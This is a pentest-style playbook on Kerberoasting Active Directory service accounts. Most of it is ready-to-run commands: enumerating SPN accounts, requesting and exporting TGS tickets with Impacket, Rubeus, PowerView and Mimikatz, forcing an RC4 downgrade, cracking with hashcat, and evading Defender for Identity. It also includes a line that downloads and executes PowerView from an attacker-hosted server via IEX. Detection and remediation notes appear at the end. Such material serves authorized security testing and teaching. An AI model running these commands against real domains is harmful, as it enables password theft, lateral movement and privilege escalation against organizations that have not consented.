🛡️ Methodology Checklist

  • Identify SPN accounts: Get-DomainUser -SPN or impacket-GetUserSPNs [DOMAIN]/[USER]:[PASS] -dc-ip [DC_IP]
  • Request TGS tickets: -request flag with GetUserSPNs
  • From Windows (Rubeus): Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
  • Crack: hashcat -m 13100 hashes.txt [wordlist]
  • Check cracked accounts for admin group membership
  • Use cracked credentials for further enumeration or lateral movement
  • Document Kerberoastable accounts and cracked passwords in report

🎯 Operational Context

Use when: Any domain user credentials available — request TGS tickets for service accounts and crack offline for plaintext passwords. Think Dumber First: impacket-GetUserSPNs [DOMAIN]/[USER]:[PASS] -dc-ip [DC] -request -outputfile kerberoast.hashes — 30 seconds. Every service account SPN is a Kerberoasting target. Weak service account passwords crack in minutes. Skip when: All service accounts use gMSA (Group Managed Service Accounts) — gMSA passwords are 240-char random and uncrackable.


⚡ Tactical Cheatsheet

CommandTactical Outcome
GetUserSPNs.py -dc-ip [DC_IP] [DOMAIN]/[USER]Enumerate all SPN accounts (Kerberoastable targets)
GetUserSPNs.py -dc-ip [DC_IP] [DOMAIN]/[USER] -request-user [SPN_ACCOUNT] -outputfile spn_hash.txtRequest TGS for specific account, save in Hashcat format
GetUserSPNs.py -dc-ip [DC_IP] [DOMAIN]/[USER] -request -outputfile all_spn_hashes.txtRequest TGS for ALL SPN accounts (noisy)
hashcat -m 13100 spn_hash.txt /usr/share/wordlists/rockyou.txtCrack RC4 TGS ticket (etype 23)
hashcat -m 19700 spn_hash.txt /usr/share/wordlists/rockyou.txtCrack AES-256 TGS ticket (etype 18)
sudo nxc smb [DC_IP] -u [SPN_ACCOUNT] -p '[CRACKED_PASS]'Validate cracked SPN credentials
.\Rubeus.exe kerberoast /statsEnumerate SPN accounts + encryption type stats
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrapRoast only privileged accounts (admincount=1)
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap /tgtdelegDowngrade AES accounts to RC4 for faster cracking
Get-DomainUser * -spn | select samaccountnamePowerView — list all SPN accounts
Get-DomainUser -Identity [USER] | Get-DomainSPNTicket -Format HashcatPowerView — extract TGS in Hashcat format
mimikatz # base64 /out:trueSet Mimikatz to output tickets as Base64
mimikatz # kerberos::list /exportExport all cached tickets
echo "[BASE64]" | tr -d \\n | base64 -d > target.kirbiDecode Base64 ticket to kirbi file
python2.7 kirbi2john.py target.kirbiConvert kirbi to John/Hashcat format
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > final_hash.txtFix kirbi2john output formatting for Hashcat

🔬 Deep Dive & Workflow

Tool Setup

Linux — Impacket’s GetUserSPNs:

pipx install impacket          # impacket-GetUserSPNs

WindowsRubeus (upload Rubeus.exe), and PowerView if you want Get-DomainSPNTicket. Fetch + host PowerView on the attacker first:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
python3 -m http.server 8000   # run from the dir holding PowerView.ps1

Then on the target:

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')
.\Rubeus.exe kerberoast /nowrap

Transfer Windows tooling via File_Transfer_Windows; full setup: AD_Tools_Reference.

How Kerberoasting Works

Any authenticated domain user can request a TGS ticket for any account with an SPN set. The TGS-REP is encrypted with the service account’s NTLM hash — extract the ticket and crack it offline. No elevated privileges required to request.

Target profile: SPN accounts are often highly privileged (local admin, DA) and frequently have weak passwords (matching username, seasonal patterns). Even without admin rights, a cracked MSSQL SPN = sysadmin on the database.

Reporting caveat: If tickets are extracted but cannot be cracked due to strong passwords, still report the finding — downgrade severity to Medium if strong password policy mitigates it.

Linux Attack Path (Impacket)

# 1. Enumerate Kerberoastable accounts — review MemberOf column for high-value targets
GetUserSPNs.py -dc-ip [DC_IP] [DOMAIN]/[USER]
 
# 2. Request ticket for specific target (preferred — targeted = stealthy)
GetUserSPNs.py -dc-ip [DC_IP] [DOMAIN]/[USER] -request-user [SPN_USER] -outputfile sqldev_hash.txt
 
# 3. Crack
hashcat -m 13100 sqldev_hash.txt /usr/share/wordlists/rockyou.txt
 
# 4. Validate
sudo nxc smb [DC_IP] -u [SPN_USER] -p '[PASS]'

Warning: -request without -request-user dumps tickets for every SPN account. Extremely noisy — avoid in monitored environments.

Windows Attack Path — Rubeus

# Survey: how many targets? what encryption types?
.\Rubeus.exe kerberoast /stats
 
# Targeted: only admincount=1 accounts (privilege tier)
# /nowrap prevents Base64 corruption from console line-wrapping
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
 
# Downgrade AES → RC4 for faster cracking
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap /tgtdeleg

Downgrade limit: /tgtdeleg does NOT work against Windows Server 2019+ DCs — they enforce highest supported encryption type.

Windows Attack Path — PowerView (When Rubeus Is Blocked)

Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity [SPN_USER] | Get-DomainSPNTicket -Format Hashcat

Manual Route — Mimikatz + kirbi2john

# Request ticket into memory
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.[DOMAIN]:1433"
 
# Extract with Mimikatz
mimikatz # base64 /out:true
mimikatz # kerberos::list /export

On Linux attack host:

echo "[BASE64_BLOB]" | tr -d \\n | base64 -d > target.kirbi
python2.7 kirbi2john.py target.kirbi
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > final_hash.txt
hashcat -m 13100 final_hash.txt /usr/share/wordlists/rockyou.txt

Encryption Type Quick Reference

ModeTypeNotes
13100RC4 (etype 23)Default, fastest to crack
19700AES-256 (etype 18)Slower; try /tgtdeleg downgrade first

Detection

Event ID 4769 (Kerberos service ticket requested) with Encryption Type 0x17 (RC4). Defenders monitor for anomalous spikes from a single account. Targeted requests (-request-user) generate far less noise than bulk dumps.


🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
GetUserSPNs returns no SPNsNo service accounts with SPNsConfirm domain accounts: ldapsearch -x ... '(&(objectClass=user)(servicePrincipalName=*))'
TGS hash returns KDC_ERR_S_PRINCIPAL_UNKNOWNSPN deleted or object movedSPN exists in BloodHound but account moved; re-enumerate current SPNs
hashcat mode 13100 too slowAES256 Kerberoast hashRequest RC4 hash: GetUserSPNs ... -request-user [SVC] -dc-ip [DC] — RC4 cracks faster (mode 13100 works for both)
Cracking fails — password too strongService account with 20+ char random passwordMove to next target; some orgs use LAPS-like randomization for service accounts
Kerberoasting detected by MDIMDI monitors TGS requestsUse nxc module which limits requests; or target specific accounts not bulk-request all

📝 Reporting Trigger

Finding Title: Kerberoastable Service Account Password Cracked Impact: Service account TGS ticket cracking recovers the service account plaintext password offline without authentication failures, providing credentials for lateral movement or privilege escalation depending on the service account’s AD permissions. Root Cause: Service account using a weak human-memorable password instead of a long random managed password. No detection of bulk TGS requests. Recommendation: Implement Group Managed Service Accounts (gMSA) for all service accounts to enforce automatic 240-character random password rotation. Alert on bulk TGS requests via Microsoft Defender for Identity. Audit all SPN-bearing accounts for excessive AD permissions.